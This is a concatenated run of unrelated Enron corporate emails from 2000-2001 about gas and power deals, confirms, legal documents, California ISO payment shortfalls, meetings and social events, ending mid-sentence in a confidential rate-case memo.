To: d.giron@enron.com
cc:  

Subject: Park and Loan sheet

Darin, this is a summary of the Park and Loan deals that you should have. I 
will need to talk to you regarding the Exchange deals that are included on 
the summary of expected revenues. The only exchange that should be recorded 
under enovate should be the enron exchange for $5,000. In that exchange PGL 
Hub received molecules in June and returned them in July, ratable. Other than 
that, if you have any questions call me at 312-541-1233.

Thanks-Steve Richman

I'm a goober!!!
---------------------- Forwarded by Cyndie Balfour-Flanagan/Corp/Enron on 
12/12/2000 03:56 PM ---------------------------

DEBRA PERLINGIERE@ECT
11/30/2000 03:11 PM
To: Cyndie Balfour-Flanagan/Corp/Enron@ENRON, Ellen Wallumrod/NA/Enron@ENRON
cc:  

Subject: Superior Water Light and Power

Ellen, attached is the GISB previously discussed which needs a confirm.  I 
will e-mail the attached to the customer today.  Can you likewise send the 
confirm?

Cyndie, as discussed please place this in the system in order that Ellen may 
prepare a confirm to Superior.

Thanks for the help guys!

Sounds good.  Are you going to breakdown their financials and try and figure out what the prices of these allowances really are?  I'm back tomorrow afternoon so we'll be able to go through the stuff then.  Nice work. 

From: Taylor, Michael E 
Sent: Tue 9/4/2001 1:58 PM 
To: Woods, Trevor 
Cc: 
Subject: RE: dynasty

The financials look bad.  Kelly says they will not get the 2.5 million.  They will probably ask to extend the sept 10th MOU with ZEVXchange.com.  The site has only a cover page.  Dynasty may have orders for 600 cars across the US.  Kelly said about 15 firm orders in CA.  This would bring number of credits to 72 in CA.  This would be worth 360,000  (assuming $5,000).  I think the company as a whole might suck but I think they may be able to sell enough cars in CA to earn us enough credits where it would be profitable to us to enter a deal.
 
Also, they are temporary halted until they receive financing (not producing any cars).  Kelly is going to send me info on their 3 year business plan and info about CA (number of orders and dealer info).
 
After I go through the data I will send you an update.    

From: Woods, Trevor 
Sent: Tuesday, September 04, 2001 1:49 PM
To: Taylor, Michael E

let me know what kelly says when you speak with him.  doesn't look too good for him, but i'll check out the exchange as well.  seems kind of strange that the deal is worth 40-50mm yet they can't raise 2.5mm.  

Sent: Tue 9/4/2001 10:02 AM 
Cc: 
Subject: dynasty

Trevor,  

Read this two stories.  It is up to a $5,000 fine per vehicle if major corporations do meet the 10% requirement. 

What time will you be back tomorrow?  I will set up a call with president. 

<http://www.itiselectric.com/NewsItem.phtml?art=75&c=0> 

<http://www.itiselectric.com/NewsItem.phtml?art=74&c=0> 

Michael Taylor 
Coal and Emissions Trading 
Enron Global Markets 
(713) 853-1885 

eSource presents free Dow Jones Interactive training

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we will be filing in the indemnity claim for $452,500,000, the full amount of 
the a  and b bonds, per my discussion with you today richard.
i have talked to richard sanders re this as well. 
i am forwarding to you richard the email re the c bond calculation. sent on 
friday but unsure whether you have now received re my conversation with you 

	SBhalla@milbank.com
	08/04/2000 08:38 PM
		 
		 To: Lisa.Mellencamp@enron.com, Richard.B.Sanders@enron.com, 
richard.smith@linklaters.com
		 cc: SHoward@milbank.com
		 Subject: Indemnity Claim

Please find attached the Indemnity Claim.? Please leave me a voicemail if you 
have any questions regarding this document.? Thank you.? 

 <<3_JVM01!.doc>>  

 - 3_JVM01!.doc

Please include the following language:

If both parties agree, the CIG Index portion of the pricing can be changed during the term of the contract to reflect other market and transport opportunities.

The Risk group will be moving to the other side of the 32 floor (between the 
kitchen and Bob Hall's office) the weekend of Dec 15th.  

Dave

>From: Ande Abbott <aabbott@cox.rr.com>
>To: mike taylor <lsutaylor@hotmail.com>
>Subject: Re: SCR installations
>Date: Mon, 30 Jul 2001 19:41:46 -0400
>
>Michael -
>First I don't seeLabor as being the "main restraint."  Some plant owners 
>are
>very reluctant to get started on projects because of the New Source Review
>requirements of EPA.  The cost of permitting and dealing with EPA keep some
>plant owners from moving too quickly.
>
>It is impossible to predict the number of SCR's that could be installed
>because there are too many factors that must be taken into consideration.
>Things like weather, permits, size of the job, prime contractor bidding
>process, parts availability, manpower, scheduling the installation to match
>the normal outage, financing and etc.  As long as the construction 
>schedules
>come at a reasonable pace there should not be any problems of manpower.
>Everything else is so hard to calculate.  The engineering is usually pretty
>good - but several units gave our guys fits to construct.  We pride
>ourselves on delivering a job on time and at or below cost.  However we can
>only deal with those issues that are within our ability to control.
>
>I'm sorry I can't be more specific but it isn't like piano tuning where all
>facts are known and every job nearly the same.
>
>Ande Abbott
>
> > From: "mike taylor" <lsutaylor@hotmail.com>
> > Date: Fri, 27 Jul 2001 16:04:42 +0000
> > To: andea@erols.com
> > Subject: SCR installations
> >
> > Dear Ande Abbott,
> >
> > I am a college student following the NOx emmissions regulations.  I read
> > your inteligent quotes on skilled labors in "Clean Air Compliance 
>Review".
> >
> > There may be a rush to install SCRs so the plants can become compliant 
>by
> > 2003 or 2004.  I was trying to get a figure on the maximun number of 
>SCRs
> > that could be installed per month or per non summer season with labor 
>being
> > the main restraint.
> >
> > If you could shed any light on this area, I would really appreciate it.
> >
> > Sincerely,
> > Michael
> >
> > Get your FREE download of MSN Explorer at 
> >
>

Ed,
Can you help us?

EB 3889
----- Forwarded by Carol St Clair/HOU/ECT on 06/01/2001 10:47 AM -----

	Rhonda L Denton
	06/01/2001 10:18 AM
		
		 cc: 
		 Subject: Re: Reliant Confirms

These are not booked under reliant.  Are you looking for gas confirms?  If 
so, contact Joe Hunter.

   Carol St Clair                06/01/2001 09:58 AM

To: Rhonda L Denton/HOU/ECT@ECT
cc:  
Subject: Reliant Confirms

Rhonda:
Could you please e-mail to me the following EPMI/Reliant Energy Services Inc. 
confirms?

45970, 46344, 66310, 72468, 72474, 74419, 76082, 77270, 80003, 80154, 88406

Thanks. 

EB 3889

November 27, 2001

For updated travel information including important 
information on wrapped packages please visit:

2. southwest.com Featured Destination:
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*21-day advance purchase required.
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*Purchase through November 29, 2001,  midnight Pacific Time.

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---
You are currently subscribed to special-offers as: tracy.geaccone@enron.com

Good stuff.  Get me on the distribution list.

Mike

From: 	Smith, Mark  
Sent:	Wednesday, November 14, 2001 4:23 PM
Subject:	Mark Report

Here is today's report:

 << File: TheMarkReport111401.pdf >> 

This information is for the private use of the recipient and may not be disclosed to any other entity (including affiliates) without the prior written consent of Enron North America.  All of the above prices are "indicative" prices  and are subject to change depending upon changing market conditions and liquidity.  The transactions are also subject to negotiation of mutually acceptable definitive agreements, satisfactory credit arrangements and the approval of the respective management's of our two companies. This term sheet is not intended to create a binding or enforceable contract nor is it an offer or a commitment to enter into any transaction.  All terms are subject to change until  agreement as to a specific transaction has been reached.  ENA is not acting as a fiduciary or advisor and you should evaluate and understand the terms, conditions, and risks of all transactions in making your decisions with respect thereto

Manager

To:KAMINSKI, WINCENTY
Email:vkamins@enron.com - 7138533848
?
Enron Wholesale Services - Office of the Chairman
?
From:??Mark Frevert, Chairman & CEO 
??????Greg Whalley, President & COO
??????Mark Haedicke, Managing Director & General Counsel 
?
Subject:??Confidential Information and Securities Trading
?
Enron Wholesale Services ('EWS') maintains official Policies and Procedures 
Regarding Confidential Information and Securities Trading ('Policies and 
Procedures'), which have been revised as of November 15, 2000 to reflect the 
new EWS structure.  These policies and procedures are intended to allow us 
simultaneously to pursue our diverse businesses and to protect confidential 
information, our reputation for integrity, and EWS and its employees from 
legal liability.
?
You are required to become familiar with, and to comply with, the Policies 
and Procedures.  The newly revised Policies and Procedures are available for 
your review on LegalOnline, the new intranet website maintained by the Enron 
Wholesale Services Legal Department.  Please click on the attached link to 
access LegalOnline:
?
http://legalonline.corp.enron.com/chinesewall.asp
?
You must certify your compliance with the Policies and Procedures within two 
weeks of your receipt of this message.  The LegalOnline site will allow you 
to quickly and conveniently certify your compliance on-line with your SAP 
Personal ID number.  If you have any questions concerning the Policies or 
Procedures, please call Lance Schuler at extension 3-5419, Mark Haedicke at 
extension 3-6544, Alan Aronowitz at extension 3-3214, Bob Bruce at extension 
5-7780 or Donna Lowry at extension 3-1939. 

Attached are the transaction documents for Project Tahiti.  Each of the 
documents is marked to show revisions against the version circulated last 
Wednesday, August 30.  As we discussed on the phone, we have incorporated the 
business agreement reached between CIBC and Enron, as follows:

The Tahiti Series Trust Agreement has been revised to require the consent of 
all certificateholders (which includes Fiji Z LLC, which can only consent 
with the consent of its Class B Member - CIBC) prior to (i) the creation of 
any series after December 31, 2000 (see definition of Series Supplement) and 
(ii) making any amendments to the purpose provision (which specifically 
limits the purposes of the Trust to holding Trust Property - defined as the 
warrants) or the definition of Series Supplement.

The Subscription Agreement has been revised to provide that CIBC's commitment 
to fund on December 31, 2000 will be terminated if the Bali Trust receives 
any funds except in connection with the issuance of debt of the Bali Trust 
(which would require the consent of CIBC as the beneficial owner) or funds 
received from CIBC.

Please be aware that because of the revisions described above, it was not 
necessary to incorporate  all of Tim Elwood's comments received September 3, 
2000.

The documents in Word format are identified as follows:

Closing Checklist (255001)
Trust Agreement of Tahiti (254424)
Beneficial Interest Certificate (254806)
Series Supplement Creating Series Z (254816)
Tahiti Series Z Certificate issued to Fiji Z (254975)
Warrant Assignemtn (254974)
Promissory Note from Tahiti (254802)
Direction Letter to Owner Trustee of Tahiti (254976)
Amended and Restated LLC Agreement of Fiji Z, L.L.C. (254423)
Promissory Note from Fiji to Tahiti (254977)
Amended and Restated LLC Agreement of Bora Bora (254978)
Promissory Note from Bora Bora to Fiji (254979)
Sale and Auction Agreement (255084)
Independent Auctioneer Letter Agmt (254097)
B Interest Assignment AGmt (254982)
Assignment of Bali Promissory Note to Fiji (255717)
Trust Agreement of Bali (255146)
Reimbursement and Disclosure Agreement (255563)
Promissory Note from Bali to Bora Bora (254981)
Certificate Distribution Agreement (255568)
Subscription Documents (255729);
Certificate Interest Certificate to CIBC (254983); and
Direction Letter to Owner Trustee of Bali (254980)

If you have any questions, please call Muriel McFarling at (214) 659-4461.

 - 254802.doc
 - 254806.doc
 - 254816.doc
 - 254974.doc
 - 254975.doc
 - 254976.doc
 - 254977.doc
 - 254978.doc
 - 254979.doc
 - 254980.doc
 - 254981.doc
 - 254982.doc
 - 254983.doc
 - 255001.doc
 - 255097.doc
 - 255563.doc
 - 255568.doc
 - 255717.doc

Obviously not a priority, but some of the trading track guys are carrying $1,000,000 V@R overnight on the premise that a $10,000 penalty isn't going to hurt them if the market is down $.10.  Should we remedy this?

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The latest financial news from the ISO

Sue Mara
----- Forwarded by Susan J Mara/NA/Enron on 05/01/2001 01:29 PM -----

	CRCommunications <CRCommunications@caiso.com>
	04/30/2001 02:49 PM
	Please respond to "Leiber, Phil"
		 
		 cc: 
		 Subject: CAISO Notice: Market Notice--February Preliminary Invoice

> 
> Cash clearing related to the preliminary invoice for February 2001 was
> scheduled for today, April 30, 2001.  
> 
> A preliminary overview of the cash received follows:
> 
> Funds due ISO (Accounts Receivable):
>   GMC         $23,049,950.38
>   Market         $972,588,030.84
>             ------------------------
>   Total         $995,637,981.22
> 
> Funds Received:
>   GMC         $4,500,303.61
>   Market         $59,136,334.68
>   Total         $63,636,628.29
> 
> Funds due for ISO GMC, Market Participants (Accounts Payable):
>   Market         $952,742,085.50
> 
> Preliminary shortfall: 
>   GMC         $18,549,646.77
>   Market         $893,605,750.82
> 
> Reallocated shortfall: 
>   GMC         $0
>   Market         $912,155,397.59
> 
> 
> Funds available for distribution to market participants are reduced by the
> GMC shortfall, accordingly, $40,586,687.91 ($59,136,334.68 less GMC
> shortfall of $18,549,646.77) will be available for distribution against
> February ISO market accounts payable of $952,742,085.50, and against prior
> months balances.  Due to this shortfall in receipts from market debtors,
> the ISO is required to perform calculations in accordance with ISO Tariff
> Section 11 and Settlements and Billing Protocol ("SABP") Section 6 to
> determine the appropriate pro-rata distributions to market participants.
> Any potential distributions are reduced to pay previously defaulted
> amounts, or current month GMC obligations of that market participant.
> Distributions will be made upon completion of these calculations.   These
> figures also do not consider any amounts payable directly to market
> participants from the California Department of Water Resources.
> 
> As noted in previous communications, the ISO will provide a comprehensive
> reporting of the monthly settlement results after the cash clearing for
> the final (true-up) monthly invoices, and will thereafter distribute a
> current certification of amounts owed.   This report for January 2001 will
> be published shortly.
> 
> 
> Phil Leiber
> Dir. Financial Planning & Treasurer
> California ISO
> 916 351-2168
> 916-351-2259 (fax)
>  
> 

1.  The index premium of $.032 is correct.

2.  Kimat Singla entered this deal in the system and it shows Maureen Smith 
as the ENA trader and Tim Ray as the EES trader.  You should ask one of those 
3 people.

	From:  Vivien Pham                           03/13/2000 02:38 PM
	
cc:  
Subject: 2/00 - CNGP Purchases

Chris,

1-  According to EES, the price on deal #116090 should be CNG.APPAL.IF.M.I 
+0.014.  However, Sitara shows the price index is CNG.APPAL.IF.M.I +0.032.  
Could you please verify which rate should I be using in billing EES?

2-  On deal #156406, I was told by Judy Barn that this is an internal 
(financial) deal, therefore, it did not get downloaded into Settlement.  
However, per Patricia Downey at EES, this is a financial deal that was turned 
physical.  Would you please also confirm this wherether we should bill EES 
for this deal or not?

Vivien
X3-9558 

---------------------- Forwarded by Vivien Pham/HOU/ECT on 03/13/2000 02:24 
From: Patricia Downey@EES on 03/08/2000 12:28 PM
To: Vivien Pham/HOU/ECT@ECT
cc:  

Vivien:  I have spoken with the EES scheduler on two CNGP deals and on the 
40,281 volume (Sabine 702US) - this is a term deal that has always been 
IF+.014.  It appears that ENA has changed the adder.  Please check as to why 
this rate has changed.

Also on the CNGP deal where we (EES) has 186,180 at 3.406 - this is a 
financial deal that was turned physical.  You may need to check with a Chris 
Germany on both of these deals.  ENA doesn't even have this 186,180 entered.

THX
Patricia

The name of the church is Bathesda by the Sea and the Rector's name is Father 
Ralph Warren, number: 561-655-4554.  I believe he is traveling until Monday, 
but you may want to give him a try.

FYI
---------------------- Forwarded by Christi L Nicolay/HOU/ECT on 12/05/2000 

	Mark Frevert and Mark Haedicke@ENRON
	04/12/00 10:36 AM
		 
		 To: All Enron Wholesale Services Employees
		 cc: 
		 Subject: Enron Wholesale Services Legal Department

Start Date: 3/31/01; HourAhead hour: 9;  HourAhead schedule download failed. 

Good for me.

From: 	Murphy, Harlan  
Sent:	Monday, January 14, 2002 3:13 PM
To:	Shackleton, Sara; Mann, Kay
Subject:	RE: Tuesday, Jan. 15 meeting - 9 am

Works for me.
Sent:	Monday, January 14, 2002 3:03 PM
To:	Mann, Kay; Murphy, Harlan
Subject:	Tuesday, Jan. 15 meeting - 9 am

Today doesn't work for everyone.  How about my office in the morning?

Barbara,

We shall extend the funding for the seminar in the fall for the next season.

I shall be glad to cover the cost of a coffee mug with our logos. Can you 
identify a
producer who can come up with a design?
I think that we may use the company that produces
RICE memorabilia.

I shall run  the design through our PR Department and then we can have it
produced.

Vince

Barbara Ostdiek <ostdiek@rice.edu> on 05/24/2000 01:15:12 PM
To: Vince.J.Kaminski@enron.com (Vince Kaminski)
cc:  
Subject: Rice/Enron Finance Seminar Series

Vince:

I have checked with our accounting folks and it looks like the balance in
the seminar account is under $5000.  This will get us going in the fall so
we have some flexibility for the next Enron funding - whatever works best
on your end.

Also, I am interested in pursuing the idea of designing some sort of a gift
- a coffee cup perhaps - to give to our seminar guests.  I think we could
do something neat with the Enron and Rice/JGS logos that folks would be
happy to display on their shelf or desk top.  What do you think?

As always, thank you so much for your support of our efforts over here.  It
is truly appreciated.

bbo

Barbara Ostdiek      713-348-5384 (voice)
Assistant Professor of Finance    713-348-5251 (fax)
Jones Graduate School of Management   ostdiek@rice.edu
Rice University     www.ruf.rice.edu/~ostdiek/
6100 Main Street - MS 531
Houston, TX 77005-1892

Maybe Kathleen for Gas and Steve or Rick for Electricity.
Fiona Grant is primary contact, Kim Chandler is backup contact.

Start Date: 4/27/01; HourAhead hour: 21;  HourAhead schedule download failed. 

From:  Rajaram, Aparna  
Sent: Monday, May 21, 2001 11:33 AM
To: Lombardi, Kelly; Schott, Samuel; Rodriguez, Bernice; Venturatos, Steve; 
Schott, Samuel; Rohauer, Tanya; Moran, Tom; Jones, Tana; Davis, Frank L.; 
Curry, Ken; Hunter, Nicole; Campbell, Lesli; Brown, Angela Y.; Ebow, Amber; 
Lambert, Karen; George, Fraisy; Coleman, Tandra; Lebrocq, Wendi
Subject: ClickPaper Approvals, 05-21-01

 << File: CP 05-21-01.xls >> 

Ph: (713) 345-4563
Fax: (713) 853-9476
Aparna.Rajaram@enron.com

Hi Vince -
I wanted to check on a couple of items following our discussions earlier
this year: 1) has your son decided where he will work? and 2) will you be in
Boston for the Risk 2001 conference?
Development is moving along at a good pace here at Opt4.
Bill Balson

hey I am sorry but I will not be able to attend - But you know I wish you a=
ll the best - goodluck - stay in touch
---------------------- Forwarded by Sandra F Brawner/HOU/ECT on 04/24/2001 =
11:29 AM ---------------------------

04/23/2001 11:42 AM
To:=09Jennifer Martinez/HOU/ECT@ECT, Linda Roberts/NA/Enron@Enron, Gary Bry=
an/HOU/ECT@ECT, Jill T Zivley/HOU/ECT@ECT, Edie Leschber/HOU/ECT, John Crai=
g Taylor/HOU/ECT@ECT, Maureen Smith/HOU/ECT@ECT, Robin Barbe/HOU/ECT@ECT, T=
ammi DePaolis/Corp/Enron@ENRON, Gil Muhl/Corp/Enron@ENRON, David Jones/NA/E=
nron@ENRON, Phil DeMoes/Corp/Enron@ENRON, Nelson Ferries/Corp/Enron@ENRON, =
Ruth Concannon/HOU/ECT@ECT, John Hodge/Corp/Enron@ENRON, Ed McMichael/HOU/E=
CT@ECT, Scott Neal/HOU/ECT@ECT, Susan W Pereira/HOU/ECT@ECT, Andrea Ring/HO=
U/ECT@ECT, Dan Junek/HOU/ECT@ECT, Jared Kaiser/HOU/ECT@ECT, John Hodge/Corp=
/Enron@ENRON, Chris Germany/HOU/ECT@ECT, Judy Townsend/HOU/ECT@ECT, Scott G=
oodell/Corp/Enron@ENRON, Victoria Versen/HOU/ECT@ECT, Sandra F Brawner/HOU/=
ECT@ECT, Peter F Keavey/HOU/ECT@ECT, Brad McKay/HOU/ECT@ECT, Vladi Pimenov/=
NA/Enron@Enron, Scott Hendrickson/HOU/ECT@ECT, Victor Lamadrid/HOU/ECT@ECT,=
 Clarissa Garcia/HOU/ECT@ECT, Sabra L Dinari/HOU/ECT@ECT, Scott Loving/NA/E=
nron@ENRON, Tamara Carter/NA/Enron@ENRON, Kelly Loocke/ENRON@enronXgate, Ch=
ris Ordway/NA/Enron@Enron, Tracy Wood/NA/Enron@ENRON, Robert Allwein/HOU/EC=
T@ECT, Meredith Homco/HOU/ECT@ECT, Cynthia Franklin/Corp/Enron@ENRON, Alvin=
 Thompson/Corp/Enron@Enron, Lia Halstead/NA/Enron@ENRON, Shanna Boudreaux/E=
NRON@enronXgate, Tricia Spence/HOU/ECT, Joe A Casas/HOU/ECT@ECT, Joann Coll=
ins/Corp/Enron@ENRON, Christina Sanchez/Corp/Enron@ENRON, Steve Gillespie/C=
orp/Enron@ENRON
cc:=09=20
Subject:=09Jared's Happy Hour

Help us wish Jared well!!!!

Wednesday, April 25

at
Sambuca

910 Travis

4:30 p.m. - until

Please RSVP

David:
Can they send you copies of the confirms for these deals?  Also, Derek 
Davies'  fax number is 403-974-6706.  

Carol 

The security desk, has changed TDS access approval from Bill Kasemervisz to 
each respective desk lead.  
The attached application should be saved on your C:drive and used to grant 
access to people that you want to have access to your desk.
The application is pretty self explanatory, however if you have any questions 

Russ
x37386

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TALBOTS: CLAD FOR SUCCESS 
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SATELLITE RADIO GETS OFF THE GROUND 
11.13.01, 10:00 AM ET - Arik Hesseldahl 
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SEVEN TOP STOCKS FROM THE TOP INVESTMENT LETTERS 
11.12.01, 6:30 PM ET - Forbes Investment Newsletters 
Which stocks are the top performing investment letters buying? 
http://tm0.com/forbes/sbct.cgi?s=167547968&i=412163&d=2012125

CAN AMERICAN COPE?  
11.12.01, 3:29 PM ET - Reuters 
The latest plane crash could make it much more difficult for the 
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at:
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http://tm0.com/forbes/sbct.cgi?s=167547968&i=412163&d=2012128

I'm still on a leave of absence.? I will probably go back to work in August 
or September. 

I had a feeling something was wrong because we hadn't heard from you in so 
long. 

I hope to talk to you soon.? 

Monica :-)  

?-----Original Message-----
From: ? Clint.Dean@enron.com [mailto:Clint.Dean@enron.com]  
Sent:?? Tuesday, May 15, 2001 1:04 PM 
To:???? Denney, Monica [CTH:RE81:EXCH]
Subject:??????? Re: Birthday party for Bryan 

201 S. Heights #2721 
Houston, TX 77007 

I know its been awhile since we talked.? Are you back at work?? I thought 
you were home now?? There is a lot that has gone on in my life lately.? I 
will tell you everything a little later. 

"Monica Denney" <mdenney@nortelnetworks.com> on 05/15/2001 12:52:14 PM 

To:?? Clint Dean <clint.dean@enron.com>, Jenn Dickinson 
????? <Jennifer.Dickinson@alumni.utexas.net>, Trent York 
????? <trent.york@ey.com> 
cc: 

Subject:? Birthday party for Bryan 

What is your address?? I need to send you an invitation to Bryan's birthday 
party.? It will be at our house on May 27(superscript: th) from 8 pm until 
whenever. 

Thanks, 

Monica Denney 

Nortel Networks 

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

ESN??????? 450-9595 

v???? 512-418-0095????????????????????????????????????? 8310 N. Capital of 
Tx. Hwy. 

f????? 305-422-8485????????????????????????????????????? Suite 405 

c???? 512-773-0095????????????????????????????????????? Austin, TX 78731 

Ready for a new semester? 
Need one more credit?
Interested in Asia?
?
Come join?the Global  Management and Asia course!
?
This is a course consisting of a series of outside speakers  with expertise 
in?doing business in Asia as well as Asian  companies?with global operation 
bases. Our first class will?meet on  1/23 (yes, after you have been back from 
holiday destinations and re-adjusted  yourselves to the student life), and it 
will be?a presentation from fellow  Haas students who have abundant 
experience in living and working in Asia as a  foreigner. 
?
Yes, you can add/drop after classes start on  1/16.?Below please find more 
details.... and please do not hesitate to  contact me if you should have 
?
?
Tomoko
?
=====
?
COURSE NUMBER:? BA 294.7
COURSE TITLE:?? Global Management and Asia
UNITS OF CREDIT:???????  
INSTRUCTOR:???? Michael  Gerlach
Student Contact:? Tomoko Yamabe yamabe@haas.berkeley.edu
MEETING DAY(S)/TIME:??? Tuesday, 6:00 - 8:00 PM, Room C250
PREREQUISITE(S): None
CLASS FORMAT : Primarily outside speakers. Class  meets 10 times only.
REQUIRED READINGS: No textbook. Articles and readings  appropriate to the 
topic of each class may be assigned by guest lectures in  which case reading 
materials will be distributed in advance or will be on  two-hour reserve in 
the Long Library. Students are expected to have done the  reading in advance 
of that class meeting. 
BASIS FOR FINAL GRADE: Participation and final paper.  Regular attendance, 
preparation for class (reading materials), and active  participation in class 
discussions are required. The final write-up will be a  short paper of 5 
pages that analyzes and critiques one or more of the  presentations made by 
class speakers, or on any of the student's particular  interest relative to 
the class. 
ABSTRACT OF COURSE'S CONTENT AND OBJECTIVES: This is a  1-unit course dealing 
with a variety of current issues regarding doing business  in Asia and/or 
with Asian business in the US. The format of the class will  consist 
primarily of a series of outside speakers with expertise in the Asia  Pacific 
region, such as Japan, Taiwan, China, Hong Kong, Korea, etc. Apart from  the 
macroeconomic environments and recent changes taking place in Asia, we aim  
to explore areas such as business culture, relationships (with clients, 
bosses  and colleagues), establishing trust, gender, ethnicity in the 
particular  context, and to provide general introduction to living and doing 
business in  Asia and/or with Asian companies in the US.? 
?
?

I'm having copies made of the due diligence binders.
---------------------- Forwarded by Kay Mann/Corp/Enron on 02/05/2001 02:44 

01/31/2001 08:41 AM
cc: Rusty Stevens/Corp/Enron@ENRON 

Subject: SPA- Comments

Kay:

Here are my comments on the draft Kendall SPA:

1.  I assume that we are preparing a separate SPA for Kendall New Century 
Development, LLC and Titan Land Development Company, LLC.  I will deliver a 
project binder on Titan to your office this morning.  

2.  Section 2.1 Purchase Price:  The Purchase Price in the Kendall SPA should 
be $3,000,000.00.  The Purchase Price in the Titan SPA should be 
$6,000,000.00.

3.  Section 2.2 Termination Date:  I would like to propose March 15, 2001 as 
a [Kendall]Termination Date.  If PSEG and ENA can agree on the form of the 
document and sign within the next  2-3 weeks, that would leave a 3 week 
window prior to the Termination Date.  This seems like plenty of time to 
arrange the wire transfer and set-up the transfer of the member interests. 
(Do you see any problem with this timeline?).

4.  Section 7.1(b) Purchaser Indemnification:  The agreements states 
$3,500,000.  Shouldn't this number be $3,000,000 (equal to the Purchase 
Price).

5.  Page A-2:  The Purchaser signature block currently reads Coastal Power 
Corporation.  This should read [Purchaser].

 I would like to deliver the Kendall SPA to PSEG as soon as possible.  Please 
forward me an [Kendall] electronic version once the changes have been made. 
Let me know the timing on a draft SPA for Titan LLC. 

Thanks,
Fred

Attached is the executable Agency and Management Agreement Document.  Please print out and execute and fax back to Barry for ENA's execution.  We will fax back a fully executed copy.  Please note that as we discussed, two of the gentlemen listed in Mexicana  de Cobre's power of attorney must execute.  

Will will follow up with hardcopy orginals for execution with all the exhibits in the mail or delivered by Barry.  Thank You.

Mr. Sanders -

Attached please find pdf version of the Wilson v. PG&E complaint faxed to
you on Friday.

Thank you.
Jane

Jane Chen
Brobeck, Phleger & Harrison, LLP
Assistant to Gary Fergus & Kirstin Wolf
SF ext. 2944
SF rm. 2917
DD (415) 979-2944

 Wilson v. PG&E.pdf
 <<Wilson v. PG&E.pdf>>

 - Wilson v. PG&E.pdf

Dear Colleague:

The Edison Electric Institute just published a report I wrote on Real-Time 
Balancing Operations and Markets: Key to Competitive Wholesale Electricity 
Markets. The report is available from the Publications page of my website, 
www.EHirst.com. Here is a summary of the report:

Electricity production and consumption must occur at essentially the same 
time. Therefore, real-time (minute-to-minute) operations and the associated 
markets and prices are essential ingredients of a competitive wholesale 
electricity industry. In addition, these intrahour markets are the foundation 
of all forward markets and contracts, including hour- and day-ahead markets, 
monthly futures, and bilateral contracts. Finally, these intrahour operations 
maintain system reliability by ensuring that enough and the right kinds of 
supply and demand resources are available when needed. 

Because of various load, generation, and transmission factors, balancing 
generation to load on a minute-to-minute basis is complicated. Loads are 
volatile, both from hour to hour and from minute to minute during the morning 
rampup and evening dropoff. Generators differ substantially in their costs of 
electricity production. In addition, generators have various idiosyncratic 
characteristics, such as maximum and minimum output levels and maximum 
ramprates, that limit their ability to respond rapidly to changes in system 
load or generation. Finally, transmission characteristics affect the 
real-time balancing function because of congestion and sudden transmission 
outages. These factors can lead to dramatic and rapid changes in electricity 
prices, including occasional negative prices when generators pay someone to 
take their output.

The early years of operations by independent system operators (ISOs), based 
on the experiences in New England, New York, and California, show how 
difficult it is to translate the theory and initial design of competitive 
markets into ones that work efficiently. These ISOs have been plagued with 
various startup problems that artificially raise electricity costs to 
consumers, implicitly encourage strategic bidding by some generators, do not 
sufficiently discipline generator market power, sometimes yield insufficient 
resources, and impair reliability. Fortunately, the ISOs have been quick to 
identify and remedy flaws in their initial market designs. On the other hand, 
the ISOs have done a poor job of documenting these problems and their 
resolutions.

This report is primarily a primer on how such intrahour operations and 
markets should work. It demonstrates these principles through several 
examples. These examples deal with generator ramprate limits, low-operating 
limits, startup costs, and other generator characteristics. Other examples 
show how energy-limited (e.g., hydro) units differ in their bidding and 
operations from capacity-constrained (e.g., thermal) units, how the 
consideration of multiple time intervals affects operations and pricing, how 
generators located outside the control area are treated differently from 
those within the control-area boundary, how interval pricing combined with 
hourly settlements can encourage generators to ignore dispatch signals, and 
how intermittent resources (such as wind) affect control-area operations. 

Although U.S. wholesale competitive markets today suffer from a variety of 
problems, there is reason to be optimistic. Ultimately, the ISOs (and, later 
on, RTOs) will identify and fix the problems within their market structures, 
and they will adequately document their problems and the associated 
resolutions so that their market participants and the designers of other 
systems can learn from past mistakes. Ultimately, efficient real-time markets 
should allow reliability councils and system operators to largely replace 
command-and-control rules with market signals (i.e., prices that vary rapidly 
in response to changes in system security). These changes should lower the 
costs of maintaining reliability; deploy supply and demand resources more 
efficiently; and guide investments in new generation, transmission, and 
demand-side resources.

Eric 
Eric Hirst 
Consulting in Electric-Industry Restructuring
106 Capital Circle
Oak Ridge, TN 37830
865-482-5470 (phone & fax)??? Eric@EHirst.com
http://www.EHirst.com

I spoke with Kori Loibl, the book administrator for the NG Price Affiliate 
Books regarding the status of the Affiliate Basis book last night (not 
officialized).  Dutch and I are working with Jeramy Wong in IT support to put 
together a program that will let Dutch and myself know the status of every 
book that should be officialized at the end of each night, so that these 
problems can be fixed before the morning.

The book in question was officialized this morning and has zero (0) value.

Please call me at X5-8274 with any questions,

Errol L. McLaughlin

i will drive and we will have hoskins drive his car too

cc: Eric Bass/HOU/ECT@ECT 
Subject: Re: UT  

Who's driving and how many cars are we taking?

To: Timothy Blanchard/HOU/EES@EES

if shirley hasn't left town yet i think i can get him a ticket.  let him come 
even if nobody back out anyway.  it doesn't matter squeezing 1 more person 
into the room.

with enron europe reducing headcount it was raised that tony hamilton should be reassigned to egm.   I'm not sure who should be his manager but can one of you let Lucy know who that is going to be.  Jeff please comment if you don't want this move to happen.  Tony is the meterologist that was hired for Europe.    

----- Forwarded by Janine Migden/NA/Enron on 06/21/2001 10:16 AM -----

	Marc Ulrich@EES
	06/20/2001 04:39 PM
		 
		 To: Rogers Herndon/Enron@EnronXGate, James W Lewis/HOU/EES@EES, Jeff 
Rudolph/HOU/EES@EES, Scott Stoness/HOU/EES@EES, Gordon Savage/HOU/EES@EES
		 cc: Berney C Aucoin/Enron@EnronXGate, Guy Sharfman/HOU/EES@EES, Janine 
Migden/NA/Enron@Enron, Roy Boston/HOU/EES@EES, Harry 
Kingerski/NA/Enron@Enron, Jeff Merola@EES, J Ryan Frazier/HOU/EES@EES
		 Subject: ComEd Rate case - CONFIDENTIAL

FYI - As you may have heard, ComEd has filed to raise T&D rates about 37% 
(about $5.5/MWh).  If they are granted the full increase in rates, our 
existing position will undoubtedly take a hit.  There are 3 potential but 
independent effects on our book...

Primary Effect - Assuming all customers have zero CTC, if T&D rates go up 
$5.5/MWh on average and we have 8.5million MWh so -$47m hit to the book.  
However, we do have customers with positive CTCs that should offset some of 
